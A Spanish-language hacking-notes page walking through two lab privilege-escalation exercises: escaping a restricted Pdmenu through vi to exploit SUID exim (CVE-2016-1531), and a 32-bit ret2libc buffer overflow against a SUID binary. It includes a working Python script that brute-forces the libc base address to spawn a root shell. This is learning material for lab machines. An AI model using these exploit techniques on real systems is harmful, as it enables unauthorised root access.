> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Desbordamiento de búfer en Linux - personalizado

## Primer ejemplo de binario personalizado (Pdmenu/exim):

<details>

<summary>Descarga la máquina <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>extraer</strong></a></summary>

</details>

> El primer ejemplo se centra en explotar el binario legítimo exim-4.84-7, que tiene una vulnerabilidad identificada como CVE-2016-1531. Esta vulnerabilidad permite a un atacante ejecutar comandos con privilegios abusando de ciertas variables de entorno.

* En este caso, cuando accedemos al usuario Paul, un **Pdmenu** se le asigna con ciertas funcionalidades (listado de directorios, edición de archivos, lanzamiento de ping, etc.):

<figure><img src="/files/9fb403430ce0b9cc86113074e92fce44f67c59dd" alt=""><figcaption></figcaption></figure>

* Para salir de este menú, nosotros **editar un archivo**, por ejemplo (etc/host):

<figure><img src="/files/ad243a9d58b28548b470570a6f9eec5d92b4db87" alt=""><figcaption></figcaption></figure>

* En este caso, **vi** se utiliza como editor de texto:

<figure><img src="/files/d1919e4193e21956672b147afb18a99181a9626b" alt=""><figcaption></figcaption></figure>

* Al mirar **gtfobins**, si filtramos por vi, obtenemos los comandos para salir de Pdmenu y **ejecutar una shell**:

<figure><img src="/files/9de93e24a0775f3134f8e3bcce8ef3d4e9557a0e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c0d5c183ff65dc2f1a59b9cd3ab8fa5a059fbfb8" alt=""><figcaption></figcaption></figure>

* Filtramos **SUID** archivos y encontramos uno llamado exim:

<figure><img src="/files/223e4da09dabbf9cd9bad4ab63a6a91a12917f33" alt=""><figcaption></figcaption></figure>

* Con la **searchsploit** herramienta, buscamos posibles vulnerabilidades para este binario:

<figure><img src="/files/e90672ff85e02d0dc376be15b2904cd7a5f85c9c" alt=""><figcaption></figcaption></figure>

* Ahora descargamos el script y lo servimos con **python3** para que pueda cargarse después de que la máquina sea comprometida:

<figure><img src="/files/4ace591cc3541da0717a82358b0de93559a32ca2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/02a3ef53e9c67088dbcea1f81c41be1b90f78d0c" alt=""><figcaption></figcaption></figure>

* Ejecutamos el script y, de hecho, se explota la vulnerabilidad de este binario, obteniendo así **acceso root**:<br>

  <figure><img src="/files/139cf879c387c86b0a47edb845076c256ccb211b" alt=""><figcaption></figcaption></figure>

## Segundo ejemplo (desbordamiento de búfer):

<details>

<summary><strong>Descarga la vulnerable</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>Ubuntu</strong></a> <strong>máquina</strong></summary>

</details>

<details>

<summary><strong>Instala la herramienta</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> El segundo ejemplo trata sobre un **desbordamiento de búfer** en un [binario](https://hack4u.io/wp-content/uploads/2023/04/custom) en una máquina Linux de 32 bits con protecciones activas y ASLR habilitado. En este caso, nos centramos en explotar ret2libc en un binario que tiene permisos SUID y pertenece a root. Mediante el desbordamiento de búfer, demostramos cómo inyectar comandos con privilegios y elevar los privilegios del usuario.

\***desbordamiento de búfer** implica sobrescribir ciertos registros del sistema, y como el binario es creado por el usuario y pertenece al grupo root, **se ejecutará como un usuario privilegiado**:

<figure><img src="/files/5a26d17077a19840f7cec6868636262295f23cc9" alt=""><figcaption></figcaption></figure>

* El binario llamado "custom" espera una **entrada de cadena** y cuando se ejecuta, no ocurre nada:

<div data-full-width="true"><figure><img src="/files/98e8124591fe7aa685299334aa6e784f844ea9ea" alt=""><figcaption></figcaption></figure></div>

* Pero si introducimos una **cadena muy larga**, devuelve un error (core dumped):

<div data-full-width="true"><figure><img src="/files/cf7aa7d07339620a6d4643c3cf6bc59fa25b0bf7" alt=""><figcaption></figcaption></figure></div>

Enviamos una **cadena corta** de AAAAAAAA y no **aparecen errores**:

* Para analizar el binario en profundidad, usaremos **gdb-peda** herramienta.

<figure><img src="/files/a69d008696b775888fc8df64258e9c2f802ef030" alt=""><figcaption></figcaption></figure>

* Pero si enviamos **muchos caracteres**, obtenemos el siguiente error:

<figure><img src="/files/c3121de95de1828cbc55189279fd367266bc2119" alt=""><figcaption></figcaption></figure>

1. Lo primero que hay que hacer es **determinar el número total de cadenas** necesarias para sobrescribir el registro (EIP).

* El primer método consiste en usar un **motivo (patrón)** que crea una cadena **diseñada espacialmente** (en estos casos, 300 caracteres) que nuestras ejecuciones en el binario:

<div data-full-width="true"><figure><img src="/files/99f306d7406025c03c1887fcd1e3d4f0d09150a3" alt=""><figcaption></figcaption></figure></div>

* En la respuesta de **EIP**, sabemos que la **cadena visible inferior** es "AA8A":

<figure><img src="/files/64da0c1eee83cd7540a1414986bc5c515b5b8c26" alt=""><figcaption></figcaption></figure>

* El **automático** modo de la herramienta es con el `patrón offset $eip` comando:

<figure><img src="/files/a20a6159b2f3900393e3de3e0ca333186ddfba84" alt=""><figcaption></figcaption></figure>

* Para comprobar esto, usamos **python3** enviando 112 caracteres A más luego 4 B finales:

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* De hecho, ahora confirmamos el final gracias a **EIP** que detecta las 4 últimas B:

<figure><img src="/files/e6b8354917b50e14f2f1bb6db1582311c2dada99" alt=""><figcaption></figcaption></figure>

2. Una vez que conocemos el número máximo de cadenas, nosotros **comprobamos el ASLR** que determinará si hay **aleatoriedad en las direcciones de memoria** o no:

/- Con el siguiente comando filtramos las cadenas que nos interesan específicamente para ejecutar el binario 10 veces, ver si cambia cada vez y ver si la **biblioteca C** es aleatoria o no:

De hecho, es "aleatoria"

<figure><img src="/files/a97b68eee0bcc2ccfb0072e8cc207bd700b37ac7" alt=""><figcaption></figcaption></figure>

3. El problema con estos **binarios de 32 bits** suele ser que si ejecutamos por ejemplo ahora **1000 veces** A y filtramos por una cadena fija, vemos que cada vez, **se repetirá al menos una vez**:

<div data-full-width="true"><figure><img src="/files/6cc9b0283c960ff74bcd7c88183e5144de360da7" alt=""><figcaption></figcaption></figure></div>

4. El objetivo ahora es primero encontrar **EIP** cadenas (**system + exit + bin/\_sh**), que siempre estarán fijas y serán necesarias para ejecutar una **Bash como root** como en el siguiente ejemplo pero en Python:

   <br>

   <figure><img src="/files/3036423ceba6764858f6cb6aaee10ecbe87f21ae" alt=""><figcaption></figcaption></figure>

* Creamos un **punto de ruptura** para que el flujo del programa se detenga aquí:

<figure><img src="/files/d7069a3c6e7fbccec06381d414f191ae81126a19" alt=""><figcaption></figcaption></figure>

* Inyectamos el **EIP** de (system/exit/bin/\_sh):<br>

  <figure><img src="/files/8d9bf282089d6b6f5af43e8952c4788953979d3a" alt=""><figcaption></figcaption></figure>

5. Una vez que vemos que hay **aleatoriedad**, necesitaremos usar **fuerza bruta** hasta que el **base/\_libc/\_addr** sea igual al valor deseado:

/- Con lo siguiente veremos las **bibliotecas que se están ejecutando** (en este caso **libc.so**):

<figure><img src="/files/aa6fbecbf648cd9cbeca354779e28594a87323df" alt=""><figcaption></figcaption></figure>

* Con **readelf**, nuestros filtros para la biblioteca y buscamos las variables inyectadas antes, que son (**exit y system**) con los códigos:

<figure><img src="/files/9b3312e56edc96e07a339647288c08e58a5ee93b" alt=""><figcaption></figcaption></figure>

* Y para encontrar la cadena **/bin/sh**, hacemos lo siguiente, añadiendo un **0x00** al principio:

<figure><img src="/files/52cc350318d18dff7a6a4a795dee160d173e9605" alt=""><figcaption></figcaption></figure>

El siguiente script de Python3 **automatizará toda la fuerza bruta** hasta que **base/\_libc/\_addr** sea igual:

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# Desbordamiento de búfer personalizado en Linux

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] Saliendo.../n")
        sys.exit(0)
```

<figure><img src="/files/85463037f4a0b54743875654c3d97ce34be3efa8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
